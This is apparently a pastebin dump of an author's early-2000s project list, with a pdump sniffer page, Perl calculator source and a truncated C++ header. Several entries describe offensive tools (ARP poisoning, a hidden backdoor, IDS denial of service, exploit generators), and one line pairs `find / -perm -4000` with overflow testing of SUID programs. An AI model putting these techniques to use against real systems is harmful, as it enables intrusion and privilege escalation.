· 11 years ago · Aug 17, 2015, 09:16 PM
1Old Projects: code from long ago
2
3
4sql++
5Full details at http://samy.pl/sql++/
6an easily configurable, feature-rich, portable command-line SQL tool (works with mysql, oracle, pgsql, mssql!, and more)
7posted on december 20, 2000
8pdump
9Full details at http://samy.pl/pdump/
10advanced packet sniffer/injector with the features of all sorts of programs from tcpdump to ngrep to dsniff
11posted on december 20, 2000
123.pl
13Full details at http://samy.pl/3.pl
14a calculator with userland namespace, list operations and advanced base conversion (ascii/bin/dec/hex/oct/dotted dec|hex|oct/bcd/packed bcd/etc)
15posted on december 20, 2000
16superpositions.h
17Full details at http://samy.pl/superpositions.h
18C++ header I wrote for 'quantum superpositions'. this allows a layered data type for easy arithmetic comparisons. for example, when you include the header in your programs, you can now compare an array or list of numbers or chars to something else. good examples and description is in the header file, check it out! examples:
19posted on december 20, 2000
20tracertspoof.pl
21Full details at http://samy.pl/tracertspoof.pl
22this is just a proof of concept I wanted to make which spoofs routes when someone traceroutes you. that means if someone traceroutes your host and you're running this program with any ips, the user tracerouting you will see those ips as routes before they see your ip as the last hop
23posted on december 20, 2000
24killmon.pl
25Full details at http://samy.pl/killmon.pl
26this program attempts to kill all sniffers/network monitors/IDSs on your local network or a remote host by using different denial of service attacks on passive network monitors
27posted on december 20, 2000
28arpredir.pl
29Full details at http://samy.pl/arpredir.pl
30program I wrote (still beta) that uses Packet:: to arp poisen a switch, meaning...say you're on a switch and you can't sniff/inject into anyone elses connections, you can use this to actually make all machines on the network think you are that IP, then your box forwards those packets to the real machine via eth packets (you'd have to use ip forwarding for that) enabling you to sniff them up without even setting your eth device in promiscuous mode
31posted on december 20, 2000
32screamingCobra
33Full details at http://samy.pl/scobra/
34an advanced application for automated, remote CGI vulnerability discovery of CGIs with unknown code
35posted on december 20, 2000
36frontdoor.pl
37Full details at http://samy.pl/frontdoor.pl
38old program I worked on as a simple 'replacement' of telnetd, has some nice things such as pty opening so all the good ANSI stuff can pass through the socket and some other fun stuff
39posted on december 20, 2000
40inject.pl
41Full details at http://samy.pl/inject.pl
42program that uses Tk for a GUI, allows you to inject tcp/udp/icmp packets with a nice little interface
43posted on december 20, 2000
44console-inject.pl
45Full details at http://samy.pl/console-inject.pl
46same as above but for console
47posted on december 20, 2000
48ping.pl
49Full details at http://samy.pl/ping.pl
50this program is neat since it allows you to ping a host through multiple protocols such as ICMP, tcp, etc...but it doesn't always use the actual ICMP header all the time, it will use different methods to see if a host is up for systems that block off icmp requests
51posted on december 20, 2000
52raw-ident.pl
53Full details at http://samy.pl/raw-ident.pl
54an identd daemon that controls it's connection raw, not using functions such as socket(), send()/recv(), etc. as an example 'base' for other raw daemons
55posted on december 20, 2000
56pdoor
57Full details at http://samy.pl/pdoor/
58an old 'backdoor' I made that doesn't open any ports and allows you to run programs remotely with a client that spoofs the source of the host and portscans will never find the backdoor since it only looks for certain types of packets and needs no 3way handshakes
59posted on december 20, 2000
60mp3-stream.pl
61Full details at http://samy.pl/mp3-stream.pl
62this is a program that allows you to switch between using your microphone and playing random mp3s on a live mp3 server for anyone to connect to. you can have something like a small radio show, have people listen to music then switch over to microphone and talk about music and then play some more music when everyone starts disconnecting :)
63posted on december 20, 2000
64rc4.pl
65Full details at http://samy.pl/rc4.pl
66RC4 encryption in 146 bytes of code
67posted on december 20, 2000
68passtc.pl
69Full details at http://samy.pl/passtc.pl
701st place winner in the toorcon password challenge. the challenge was to create an algorithm/program that generates passwords for users that are easy to remember for them but difficult to crack/brute force for others
71posted on december 20, 2000
72crypt.pl
73Full details at http://samy.pl/crypt.pl
742 functions to addon to programs, an encryption function and checking of a plain text password and encrypted password to see if they match
75posted on december 20, 2000
76cp5qrpff-fast.pl
77Full details at http://samy.pl/cp5qrpff-fast.pl
78my version of the original 531-byte qrpff-fast (DeCSS descrambling code). i was able to cut it down to 504-bytes using the same algorithm so no speed cuts of any sort
79posted on december 20, 2000
80cp5qrpff.pl
81Full details at http://samy.pl/cp5qrpff.pl
82my version of the original 526-byte qrpff (DeCSS descrambling code). i was able to cut it down to 500-bytes using the same algorithm so no speed cuts of any sort
83posted on december 20, 2000
84enigma.pl
85Full details at http://samy.pl/enigma.pl
86an enigma 3 rotor simulation program...takes you back, doesn't it?
87posted on december 20, 2000
88vnchown.exe
89Full details at http://samy.pl/vnchown.exe
90stand alone win32 executable for adding https support to a VNC+http server
91posted on december 20, 2000
92clear.txt
93Full details at http://samy.pl/clear.txt
94converting perl code to 'nothing' and executing it from 'nothing'
95posted on december 20, 2000
96DCCp5bot
97Full details at http://samy.pl/dccp5bot.pl
98this is an automated IRC bot from a few years back, it connects to an IRC server, joins a channel and automatically queues up specific files within DCC Fservs. has resume support and automates the downloading of files as quickly as possible from multiple sources
99posted on december 20, 2000
100mp3get.pl
101Full details at http://samy.pl/mp3get.pl
102recursively scans Apache dir structures looking for MP3s and downloads them (doesn't go below specified directory unlike other programs) Win32 binary>
103posted on december 20, 2000
104crawl5b.pl
105Full details at http://samy.pl/crawl5b.pl
106this is a program I made for Caezar's Challenge, 5B at DefCon 9. it recursively scans all pages it can find on a specified host and attempts to find CGI holes remotely and gives you an example CGI exploit for everyone it finds (see screamingCobra)
107posted on december 20, 2000
108c2p.pl
109Full details at http://samy.pl/c2p.pl
110a replacement of perl's h2ph (C header to perl header), this does stuff like convert structs to hashes, create the %SIZEOF hash for the size in bytes of actual structs, and other stuff. to be used with Packet::
111posted on december 20, 2000
112hybbot.pl
113Full details at http://samy.pl/hybbot.pl
114an IRC operator and channel service I specifically wrote for SUIDnet, an IRC network which I run a big chunk of (irc.LucidX.com:6667 or with SSL at irc.LucidX.com:9999). I do actaully spend a lot of time with this occasionally so it has evolved
115posted on december 20, 2000
116greph.pl
117Full details at http://samy.pl/greph.pl
118program that takes a list of C/C++/header files and looks through all of them for a regexp but recursively, which can be neat. say you're looking for a certain function in a program, but it's not in that program, and it's not in any of the headers that program uses, it would have to be in one of the headers of one of the headers, or could even go further or further. greph.pl will look all through these and keep on looking recursively without repeating files
119posted on december 20, 2000
120mass.pl
121Full details at http://samy.pl/mass.pl
122this allows you to run one command on multiple files when that command only allows you to run it on one file. an example is tar, say you want to tar -xvf a few different tarballs, but tar only allows you to do one at a time. with mass.pl you can easily do something like ./mass.pl 'tar -xvf *.tar'
123posted on december 20, 2000
124mkmod.pl
125Full details at http://samy.pl/mkmod.pl
126this lets you take a normal perl program and easily convert it to a module, making the easy work easier :) good to use when you're doing this with a lot of programs and want something automated
127posted on december 20, 2000
128burn.pl
129Full details at http://samy.pl/burn.pl
130program that uses Tk as a GUI to interface with mkisofs and burncd to easily burn cds
131posted on december 20, 2000
132tkscan.pl
133Full details at http://samy.pl/tkscan.pl
134old and simple port scanner I made, first time I used Tk also
135posted on december 20, 2000
136Outsmart
137Full details at http://samy.pl/outsmart.txt
138code for local Microsoft Outlook contact database security evasion (has not been successfully done before) to gain remote access to protected contact data
139posted on december 20, 2000
140cracker patcher
141Full details at http://samy.pl/crack/
142this is actually an old application that I just dug up. it's useful for easily creating small, easily distributable cracks/patches for win32 binaries
143posted on december 20, 2000
1445balgo1.html
145Full details at http://samy.pl/5balgo1.html
146my algorithm for automatic bug/exploit discovery in CGIs for Caezar's Challenge (see screamingCobra)
147posted on december 20, 2000
1485balgo2.html
149Full details at http://samy.pl/5balgo2.html
150algorithm for automatic bug/exploit discovery in remote software for Caezar's Challenge
151posted on december 20, 2000
152bofgen
153Full details at http://samy.pl/bofgen/
154a buffer overflow exploit generation program I recently wrote to take in certain data and create an exploit for a buffer overflow of a local program. has some neat features. check it out
155posted on december 20, 2000
1565bhack
157Full details at http://samy.pl/5bhack/
158code for the algorithm on bug/exploit discovery in remote software for Caezar's Challenge
159posted on december 20, 2000
160testenvs.pl
161Full details at http://samy.pl/testenvs.pl
162this will take a binary program, find all of the environment variables, and fill them up with data to attempt to overflow it. it's good with use of `find / -perm -4000`. it will easily help you find some exploitable (through ENV variables) programs and it will also attempt to exploit the program with a basic arguement buffer overflow
163posted on december 20, 2000
164getenvs.pl
165Full details at http://samy.pl/getenvs.pl
166this is a nice version of v9's getenv program. this retrieves environment variables from a binary program when you don't have the source to it. this can be helpful with finding buffer overflows, especially :)
167posted on december 20, 2000
168infobot advisory
169Full details at http://samy.pl/infobot.html
170an old advisory concerning infobot, an IRC automated chat bot
171posted on december 20, 2000
172pijack
173Full details at http://samy.pl/pijack/
174very old and ugly program I wrote when I started getting into sockets, it takes over IRC DCC connections before they get fully established
175
176pdump - a raw packet sniffer and injector
177
178
179Welcome to http://pdump.org (or a mirror)! You can find information here reguarding pdump, downloads, and more. pdump is a raw packet sniffer and injector, written by Samy Kamkar. It has the features of many other programs such as tcpdump, dsniff, and ngrep. Check the manual page for more information!
180________________________________________
181
182
183News - December 26th, 2000
184
185
186Finally released pdump 0.8! Added almost 600 new fingerprints for the -x option, much better password sniffing library along with new password sniffing plugs for the web, fixed a few bugs, added new protocol sniffing, added advancements to other protocols, and added new methods for decoding packets. Hopefully I'll get a mailing list up soon, too.
187________________________________________
188
189
190pdump's Manual
191
192
193
194A manual page (in HTML format) on how to use pdump, what it does, all of it's options, and other information on pdump and packets. Also includes examples and other helpful information.
195
196
197Download pdump
198
199
200
201You can get all the downloads from here such as the stable version, development version, and even specific files out of a certain version.
202
203
204Changes
205
206
207
208You can see all the changes made with all of the versions of pdump here, including changes in the development version!
209
210
211Development Directory
212
213
214
215You can connect to the development directory of pdump to see what's new and even get files from the development version to add on to your version.
216
217
218
219
220pdump, by Samy Kamkar [CommPort5@LucidX.com]
221http://www.samy.pl/pdump/
222
223#!/usr/bin/perl
224
225my $debug = 0;
226my $VERSION = "0.42";
227#
228# '3', by Samy Kamkar [cp5@LucidX.com]
229# ver 0.42 - April 14, 2002 -
230# TODO/changeLog is at http://code.lucidx.com/TODO.3
231#
232# thanks to cseg (Fred Souza) for his help
233# and his own original idea which i borrowed:
234# http://cseg.lucidx.com/projects/
235#
236# examples:
237# > x = 3 ; y = (1 .. 3) ; z = (int(reverse(bd(110011))/10))
238# > (z .. x) ** $_, [ y ]
239# = [[1], [2], [3]], [[1], [4], [9]], [[1], [8], [27]]
240#
241# > x = 3
242# > y = 1..3
243# > x
244# = 3
245# > y
246# = [1], [2], [3]
247# > (1 .. x) ** $_, [ y ]
248# = [[1], [2], [3]], [[1], [4], [9]], [[1], [8], [27]]
249#
250# > ((bd(1010)-5)
251# ]> *3 - reverse(
252# ]]> 51)
253# ]> ^ 1)
254# = 1
255#
256# shell$ 3 bd 10011
257# 19
258# shell$ 3 Dd 127.0.0.1
259# 2130706433
260# shell$ 3 aX abc
261# \x61 \x62 \x63
262#
263# ooo - () ** * / % + - . << >> & | ^
264#
265
266my $baseconv = shift(@ARGV);
267my @values = @ARGV;
268my %namespace;
269
270my %conv = (
271 "b" => "bin", # binary
272 "d" => "dec", # decimal
273 "o" => "oct", # octal
274 "h" => "hex", # hexadecimal
275 "a" => "asc", # ascii
276 "B" => "bcd", # BCD
277 "P" => "pbc", # packed BCD
278 "D" => "dot", # dotted-quad (decimal)
279 "O" => "dto", # dotted-octal
280 "H" => "dth", # dotted-hexadecimal
281 "X" => "bbh", # byte-by-byte hexadecimal
282 "Y" => "bbd", # byte-by-byte decimal
283 "Z" => "bbo", # byte-by-byte octal
284);
285my $convs = join("", keys(%conv));
286
287unless ($baseconv || $baseconv =~ /^calc/i) {
288 my $alive = 1;
289 my ($parens, $data) = (0, "");
290 print ": Type `help` for help.\n\n";
291 while ($alive) {
292 print "]" x $parens;
293 print "[" x ($parens * -1);
294 print "> ";
295
296 chomp($data .= <STDIN>);
297 $parens = ($data =~ tr|(||) - ($data =~ tr|)||);
298 if ($data =~ /^\s*(?:help|\?)\s*$/mi) {
299 &help();
300 $data = "";
301 }
302 elsif ($data =~ /^\s*(?:die|quit|exit)\s*$/mi) {
303 $alive = 0; # die later in case we have unfinished business
304 }
305 elsif ($parens != 0) {
306 next;
307 }
308
309 else {
310 foreach (split(/;/, $data)) {
311 my @data = &operate($_);
312 if ($#data > 0) {
313 print "= [", join("], [", @data), "]\n";
314 }
315 elsif ($#data != -1) {
316 print "= $data[0]\n";
317 }
318 }
319 $data = "";
320 $parens = 0;
321 }
322 }
323 die "\n3 -- by Samy Kamkar [cp5\@LucidX.com]\n";
324}
325
326$baseconv =~ /^(.)(.)$/;
327my ($first, $second) = ($conv{$1} . "2bin", "bin2" . $conv{$2});
328
329foreach my $value (@values) {
330 print &{$second}(&{$first}($value)) . "\n";
331}
332exit 0;
333
334sub operate {
335 my ($string) = @_;
336 my (%intns, $ops, @ops, @return);
337 my $origstr = $string;
338 $string =~ s/\s*//g;
339 $string =~ s/,\[([^\]]+)\]$//;
340 $string = "($string)";
341 if ($ops = $1) {
342 while ($ops =~ /\@?\$?([a-zA-Z_]\w+|[a-zA-Z])\[([^\]]+)\]/) {
343 my ($tmp1, $tmp2) = ($1, $2);
344 $tmp2 =~ s/([^,]+)\.\.([^,]+)/join(",", $1..$2)/ge;
345 $ops =~ s/\@?\$?(?:[a-zA-Z_]\w+|[a-zA-Z])\[[^\]]+\]/join(",", @{$namespace{$tmp1}}[split(\/,\/, $tmp2)])/e;
346 }
347 $ops =~ s/\@?\$?([a-zA-Z_]\w+|[a-zA-Z])/join(",", @{$namespace{$1}})/eg;
348 $ops =~ s/([^,]+)\.\.([^,]+)/join(",", $1..$2)/ge;
349 @ops = split(/,/, $ops);
350 }
351 push(@ops, 0) unless @ops;
352 foreach my $op (@ops) {
353 my $nstr = my $str = $string;
354 $namespace{"_"} = $op;
355 my (@ret, @iops);
356 while ($str =~ /\@?\$?([a-zA-Z_]\w*|\d+|\d*\.\d+)\.\.\@?\$?([a-zA-Z_]\w*|\d+|\d*\.\d+)/g) {
357 my ($tmp1, $tmp2) = ($1, $2);
358 $tmp1 = $namespace{$tmp1} if $tmp1 =~ /^[a-zA-Z_]/;
359 $tmp2 = $namespace{$tmp2} if $tmp2 =~ /^[a-zA-Z_]/;
360 $str =~ s/\@?\$?(?:[a-zA-Z_]\w*|\d+|\d*\.\d+)\.\.\@?\$?(?:[a-zA-Z_]\w*|\d+|\d*\.\d+)/\$__/;
361 push(@iops, $tmp1 .. $tmp2);
362 $nstr = $str;
363 }
364 while ($str =~ /\@?\$?([a-zA-Z_]\w*|\d+|\d*\.\d+),\@?\$?([a-zA-Z_]\w*|\d+|\d*\.\d+)/g) {
365 my ($tmp1, $tmp2) = ($1, $2);
366 $tmp1 = $namespace{$tmp1} if $tmp1 =~ /^[a-zA-Z_]/;
367 $tmp2 = $namespace{$tmp2} if $tmp2 =~ /^[a-zA-Z_]/;
368 $str =~ s/\@?\$?(?:[a-zA-Z_]\w*|\d+|\d*\.\d+),\@?\$?(?:[a-zA-Z_]\w*|\d+|\d*\.\d+)/\$__/;
369 push(@iops, $tmp1, $tmp2);
370 $nstr = $str;
371 }
372
373 # pretend parse tree starts here
374 my (@nvals, $type);
375 while ($str) {
376 my ($ins, $dins);
377 if ($str =~ s/^([a-zA-Z][a-zA-Z0-9]*)\(//) {
378 if (length($1) == 2 || $1 eq "factorial") {
379 $type = "VFunc";
380 }
381 else {
382 $type = "Func";
383 }
384 }
385 elsif ($str =~ s/^\$?\@?([a-zA-Z]\w*)([^\.=])/$2/) {
386 my $tmp = $1;
387 if (ref($namespace{$tmp}) eq "ARRAY") {
388 push(@iops, @{$namespace{$tmp}});
389 $type = "Var";
390 $ins = "__";
391 }
392 else {
393 $str = $namespace{$tmp} . $str;
394 $dins = 1;
395 $type = "Num";
396 }
397 }
398 elsif ($str =~ s/^\$?\@?([_a-zA-Z]\w*)//) {
399 $type = "Var";
400 }
401 elsif ($str =~ s/^((?:0*(?:2(?:[0-4]\d|5[0-5])|1?\d{1,2})\.){3}(?:2(?:[0-4]\d|5[0-5])|1?\d{1,2}))//x) {
402 $type = "IP";
403 }
404 elsif ($str =~ s/^(\d*\.\d+|\d+)//) {
405 $type = "Num";
406 }
407 elsif ($str =~ s/^([^\w()\@\$,\.\:"'=]+)//) {
408 $type = "OpChr";
409 }
410 elsif ($str =~ s/^([(),])//) {
411 $type = "Chr";
412 }
413 elsif ($str =~ s/^(\.=)//) {
414 $type = "Append";
415 }
416 elsif ($str =~ s/^(=)//) {
417 $type = "Assign";
418 }
419 elsif ($str =~ s/^("[^"]*")// || $str =~ s/^('[^']*')//) {
420 $type = "Str";
421 }
422 else {
423 return "error: bad input near: " . substr($str, 0, 5);
424 }
425 unless ($dins) {
426 if ($ins) {
427 push (@nvals, [$ins, $type]);
428 }
429 else {
430 push (@nvals, [$1, $type]);
431 }
432 }
433 }
434 push(@iops, 0) unless @iops;
435 # end of pretend parse tree
436
437 foreach my $iop (@iops) {
438 my @vals = map [@$_], @nvals;
439 $namespace{'__'} = $iop;
440 for (my $i = $#vals; $i >= 0; $i--) {
441 my ($elem, $type) = @{$vals[$i]};
442 print "$elem\t-> $type\n" if $debug;
443
444 if ($type eq "Assign") {
445 push(@{$namespace{"_assign"}}, "$vals[$i-1][0]") unless grep { '^$vals[$i-1][0]$' } @{$namespace{"_assign"}};
446 @{$vals[$i]} = ("", "Empty");
447 @{$vals[$i-1]} = ("", "Empty");
448 }
449
450 if ($type eq "Append") {
451 push(@{$namespace{"_append"}}, "$vals[$i-1][0]") unless grep { '^$vals[$i-1][0]$' } @{$namespace{"_append"}};
452 @{$vals[$i]} = ("", "Empty");
453 @{$vals[$i-1]} = ("", "Empty");
454 }
455
456 if ($type eq "Var") {
457 if (ref($namespace{$vals[$i][0]}) eq "ARRAY") {
458 @{$vals[$i]} = push(@ret, @{$namespace{$vals[$i][0]}});
459 }
460 else {
461 @{$vals[$i]} = ($namespace{$vals[$i][0]}, "Num");
462 }
463 }
464 if ($elem eq "(" || $type eq "Func" || $type eq "VFunc") {
465 my ($string, $func);
466 my $tmp1 = $i;
467 my $tmp2 = 0;
468 do {
469 if ($tmp2++ == 0) {
470 $func = $vals[$tmp1][0];
471 }
472 else {
473 $string .= $vals[$tmp1][0] if $vals[$tmp1][0];
474 }
475 } while ($vals[$tmp1++][0] ne ")");
476 $tmp1--;
477 @{$vals[$tmp1]} = ("", "Empty");
478 chop($string);
479 for ($i .. $tmp1) {
480 @{$vals[$_]} = ("", "Empty");
481 }
482 $vals[$i][0] = eval($string);
483 if ($type eq "VFunc") {
484 if ($func =~ /^([a-z])([a-z])$/i) {
485 $vals[$i][0] = &{'bin2' . $conv{$2}}(&{$conv{$1} . '2bin'}("$vals[$i][0]"));
486 }
487 elsif ($func eq "factorial") {
488 my $tmp = 1;
489 foreach (1 .. $vals[$i][0]) {
490 $tmp *= $_;
491 }
492 $vals[$i][0] = $tmp;
493 }
494 }
495 elsif ($type eq "Func") {
496 $vals[$i][0] = eval("$func(\"$vals[$i][0]\")");
497 }
498 }
499 }
500 push(@ret, eval(join("", map { $$_[0] } @vals)));
501 }
502 push(@return, ("[" . join("], [", @ret) . "]"));
503 }
504 my $commas = 0;
505 foreach (@return) {
506 $commas += tr/,//;
507 }
508 unless ($commas) {
509 foreach (@return) {
510 s/^.//;
511 s/.$//;
512 }
513 }
514 if ($#{$namespace{"_assign"}} >= 0) {
515 foreach my $asn (@{$namespace{"_assign"}}) {
516 @{$namespace{$asn}} = ();
517 my @tmp = @return;
518 @return = ();
519 foreach (@tmp) {
520 s/^\[//;
521 s/\]$//;
522 if (@tmp > 1) {
523 push(@{$namespace{$asn}}, split(/\], \[/));
524 }
525 elsif (/,/) {
526 push(@{$namespace{$asn}}, split(/\], \[/));
527 }
528 else {
529 $namespace{$asn} = $_;
530 }
531 }
532 }
533 @{$namespace{"_assign"}} = ();
534 return ();
535 }
536
537 if ($#{$namespace{"_append"}} >= 0) {
538 foreach my $asn (@{$namespace{"_append"}}) {
539 my @tmp = @return;
540 @return = ();
541 foreach (@tmp) {
542 s/^\[//;
543 s/\]$//;
544 push(@{$namespace{$asn}}, split(/\], \[/));
545 }
546 }
547 @{$namespace{"_append"}} = ();
548 return ();
549 }
550
551 else {
552 return @return;
553 }
554}
555
556sub bin2bin {
557 my $val = shift;
558 $val =~ s/^0*//;
559 return $val;
560}
561
562sub bcd2bin {
563 my $val = shift;
564 $val =~ s/0000([01]{4})/&dec2bin(&bin2dec($1))/eg;
565 $val =~ s/^0*//;
566 return $val;
567}
568
569sub pbc2bin {
570 my $val = shift;
571 $val =~ s/([01]{4})/&bin2dec($1)/eg;
572 $val = &dec2bin($val);
573 $val =~ s/^0*//;
574 return $val;
575}
576
577sub dec2bin {
578 my $val = unpack("B*", pack("N", shift));
579 $val =~ s/^0*//;
580 return $val;
581}
582
583sub asc2bin {
584 my $val = unpack("B*", shift);
585# $val =~ s/^0*//;
586 return $val;
587}
588
589sub hex2bin {
590 my $val = shift;
591 my @vals;
592 push(@vals, hex($1)) while $val =~ s/(?:0x|\\x)?([A-F0-9]{1,2})//i;
593 $val = join("", unpack("B*", pack("C*", @vals)));
594 $val =~ s/^0*//;
595 return $val;
596}
597
598sub bbh2bin {
599 my $val = &hex2bin(shift);
600 $val =~ s/^0*//;
601 return $val;
602}
603
604sub bbo2bin {
605 my $val = &oct2bin(shift);
606 $val =~ s/^0*//;
607 return $val;
608}
609
610sub bbd2bin {
611 my $val = &dec2bin(shift);
612 $val =~ s/^0*//;
613 return $val;
614}
615
616sub oct2bin {
617 my $val = shift;
618 $val =~ s/^0// if length($val) > 1;
619 $val = unpack("B*", pack("C*", oct($val)));
620 $val =~ s/^0*//;
621 return $val;
622}
623
624sub dot2bin {
625 my $val = unpack("B36", pack("C4", split(/\./, shift)));
626 $val =~ s/^0*//;
627 return $val;
628}
629
630sub dto2bin {
631 my $val = shift;
632 $val =~ s/^0?(\d+)\.0?(\d+)\.0?(\d+)\.0?(\d+)$/&dot2bin("0$1.0$2.0$3.0$4")/e;
633 $val =~ s/^0*//;
634 return $val;
635}
636
637sub dth2bin {
638 my $val = shift;
639 $val =~ s/^(?:\\x|0x)?(\d+)\.(?:\\x|0x)?(\d+)\.(?:\\x|0x)?(\d+)\.(?:\\x|0x)?(\d+)$/&dot2bin("0x$1.0x$2.0x$3.0x$4")/e;
640 $val =~ s/^0*//;
641 return $val;
642}
643
644
645sub bin2dec {
646 my $val = shift;
647 my ($result, $place) = (0, 0);
648 while ($val =~ s/(.)$//) {
649 $result += 2 ** $place++ * $1;
650 }
651 return $result;
652}
653
654sub bin2oct {
655 return sprintf("0%o", &bin2dec(shift));
656}
657
658sub bin2hex {
659 return sprintf("0x%x", &bin2dec(shift));
660}
661
662sub bin2bbh {
663 return sprintf("\\x%x" x (length(&eight($_[0]))/8), unpack("C*", pack("B*", &eight(shift))));
664}
665
666sub bin2bbo {
667 return sprintf("0%o " x (length(&eight($_[0]))/8), unpack("C*", pack("B*", &eight(shift))));
668}
669
670sub bin2bbd {
671 return join(" ", unpack("C*", pack("B*", &eight(shift))));
672}
673
674sub bin2asc {
675 return pack("B*", &eight(shift));
676}
677
678sub bin2dot {
679 return join(".", unpack("C4", pack("B*", &eight(shift))));
680}
681
682sub bin2dto {
683 return sprintf("0%o.0%o.0%o.0%o", unpack("C4", pack("B*", &eight(shift))));
684}
685
686sub bin2bcd {
687 my $val = &bin2dec(shift);
688 $val =~ s/(.)/"0000" . sprintf("%04i", &dec2bin($1))/eg;
689 return $val;
690}
691
692sub bin2pbc {
693 my $val = &bin2dec(shift);
694 $val =~ s/(.)/sprintf("%04i", &dec2bin($1))/eg;
695 return $val;
696}
697
698sub bin2dth {
699 return sprintf("0x%x.0x%x.0x%x.0x%x", unpack("C4", pack("B*", &eight(shift))));
700}
701
702sub eight {
703 my $val = shift;
704 $val = "0" . $val while (length($val) % 8);
705 return $val;
706}
707
708sub help {
709 print
710"
7113 -- by Samy Kamkar [cp5\@LucidX.com]
712
713see $0's code for examples
714
715BASES:
716b => binary, a => ASCII,
717d => decimal, D => dotted quad,
718o => octal, O => dotted octal,
719h => hexadecimal, H => dotted hexadecimal,
720B => BCD, P => packed BCD,
721X => byte-by-byte hexadecimal,
722Y => byte-by-byte decimal,
723Z => byte-by-byte octal,
724
725CORE FUNCTIONS: exit, help
726
727FUNCTIONS: base1base2(value), e.g.: dh(5), Dd(\"127.0.0.1\"), ah(\"abc\")
728 also: sin(), reverse(), abs(), atan2(), cos(), exp(), int(),
729 sqrt(), log(), factorial()
730
731OPERATORS: + - * / % ** ^ | & << >> ( )
732 using a '(' at the beginning and leaving it open
733 after hitting 'Enter' will allow you to neatly
734 continue the equation on a new line(s) and you
735 would end the equation and get the result after
736 closing it with a )
737
738";
739#OTHER HELP TOPICS: namespace, commandline
740#
741#for more help on something, enter: help 'base/func/topic'
742#e.g., help b (for help on binary),
743# help log (for help on log()),
744# help delete (for help on delete()),
745# help namespace (for help on the namespace topic),
746# help operators (for all operators), etc.
747}
748
749
750/*
751 * superpositions.h - nov. 3rd, 2001
752 * -samy
753 *
754 * This allows you to use the implemented any()
755 * and all() functions with doubles, ints or chars
756 * to allow you to compare the superposition
757 * (simultaneous/layered data, for example, an array)
758 * with other superpositions or data using arithmetic
759 * comparison operators.
760 *
761 * OPERATORS:
762 * ==, !=, >=, <=, >, <
763 * FUNCTIONS
764 * any(char_array);
765 * any(int num_of_elems, double_array);
766 * any(int num_of_elems, int_array);
767 * any(int num_of_elems, ...);
768 * // ... accepts chars, doubles and ints
769 * // all() functions are the same as the any()s
770 *
771 *
772 * examples:
773 * if (any(num_of_elems, 4, 5, 6) == 5) // num_of_elems should be 3
774 * // this is true because 5 is one of the elements
775 *
776 *
777 * if (all(char_array) != all(3, 'a', 'b', 'c'))
778 * // this is true if there are no 'a's,
779 * // 'b's, or 'c's in char_array
780 *
781 *
782 * int num_of_elems = 2; // passing 2 elements
783 * double y[3] = {6.0, 7.0, 8.0};
784 * if (any(num_of_elems, 5, 6) == any(3, y))
785 * // true since the 6's are passed in both functions
786 *
787 * etc...
788 */
789
790#ifndef QUANTUM_H_
791#define QUANTUM_H_
792
793#include <stdarg.h>
794#include <vector>
795#include <iostream.h>
796
797using namespace std;
798
799class Quantum
800{
801public:
802 Quantum();
803
804 vector<double> data;
805 bool type; // true == any, false == all
806
807 bool operator==(double);
808 bool operator!=(double);
809 bool operator< (double);
810 bool operator> (double);
811 bool operator<=(double);
812 bool operator>=(double);
813
814 bool operator==(Quantum);
815 bool operator!=(Quantum);
816 bool operator< (Quantum);
817 bool operator> (Quantum);
818 bool operator<=(Quantum);
819 bool operator>=(Quantum);
820};
821
822Quantum::Quantum()
823{
824 type = true;
825}
826
827Quantum any(char array[]);
828Quantum any(int numArgs, double array[]);
829Quantum any(int numArgs, int array[]);
830Quantum any(int numArgs, double first, ...);
831Quantum any(int numArgs, int first, ...);
832Quantum any(int numArgs, char first, ...);
833
834Quantum all(char array[]);
835Quantum all(int numArgs, double array[]);
836Quantum all(int numArgs, int array[]);
837Quantum all(int numArgs, double first, ...);
838Quantum all(int numArgs, int first, ...);
839Quantum all(int numArgs, char first, ...);
840
841// BEGINNING OF SUPERPOSITIONING FUNCTIONS
842
843// any() functions
844Quantum any(int numArgs, double array[])
845{
846 Quantum temp;
847 temp.type = true;
848 for (int i = 0; i < numArgs; i++)
849 temp.data.push_back(array[i]);
850 return temp;
851}
852
853Quantum any(int numArgs, int array[])
854{
855 Quantum temp;
856 temp.type = true;
857 for (int i = 0; i < numArgs; i++)
858 temp.data.push_back(double(array[i]));
859 return temp;
860}
861
862Quantum any(char array[])
863{
864 Quantum temp;
865 temp.type = true;
866 int i = 0;
867 for (i = 0; array[i] != '\0'; i++)
868 temp.data.push_back(double(array[i]));
869 array[i] = 0;
870 return temp;
871}
872
873Quantum any(int numArgs, double first, ...)
874{
875 va_list ap;
876 va_start(ap, first);
877 Quantum temp;
878 temp.type = true;
879 temp.data.push_back(first);
880 for (int i = 1; i < numArgs; i++)
881 temp.data.push_back(va_arg(ap, double));
882 va_end(ap);
883 return temp;
884}
885
886Quantum any(int numArgs, int first, ...)
887{
888 va_list ap;
889 va_start(ap, first);
890 Quantum temp;
891 temp.type = true;
892 temp.data.push_back(first);
893 for (int i = 1; i < numArgs; i++)
894 temp.data.push_back(va_arg(ap, int));
895 va_end(ap);
896 return temp;
897}
898
899Quantum any(int numArgs, char first, ...)
900{
901 va_list ap;
902 va_start(ap, first);
903 Quantum temp;
904 temp.type = true;
905 temp.data.push_back(first);
906 for (int i = 1; i < numArgs; i++)
907 temp.data.push_back(va_arg(ap, char));
908 va_end(ap);
909 return temp;
910}
911
912// all() functions
913Quantum all(int numArgs, double array[])
914{
915 Quantum temp;
916 temp.type = false;
917 for (int i = 0; i < numArgs; i++)
918 temp.data.push_back(array[i]);
919 return temp;
920}
921
922Quantum all(int numArgs, int array[])
923{
924 Quantum temp;
925 temp.type = false;
926 for (int i = 0; i < numArgs; i++)
927 temp.data.push_back(double(array[i]));
928 return temp;
929}
930
931Quantum all(char array[])
932{
933 Quantum temp;
934 temp.type = false;
935 int i = 0;
936 for (i = 0; array[i] != '\0'; i++)
937 temp.data.push_back(double(array[i]));
938 array[i] = 0;
939 return temp;
940}
941
942Quantum all(int numArgs, double first, ...)
943{
944 va_list ap;
945 va_start(ap, first);
946 Quantum temp;
947 temp.type = false;
948 temp.data.push_back(first);
949 for (int i = 1; i < numArgs; i++)
950 temp.data.push_back(va_arg(ap, double));
951 va_end(ap);
952 return temp;
953}
954
955Quantum all(int numArgs, int first, ...)
956{
957 va_list ap;
958 va_start(ap, first);
959 Quantum temp;
960 temp.type = false;
961 temp.data.push_back(first);
962 for (int i = 1; i < numArgs; i++)
963 temp.data.push_back(va_arg(ap, int));
964 va_end(ap);
965 return temp;
966}
967
968Quantum all(int numArgs, char first, ...)
969{
970 va_list ap;
971 va_start(ap, first);
972 Quantum temp;
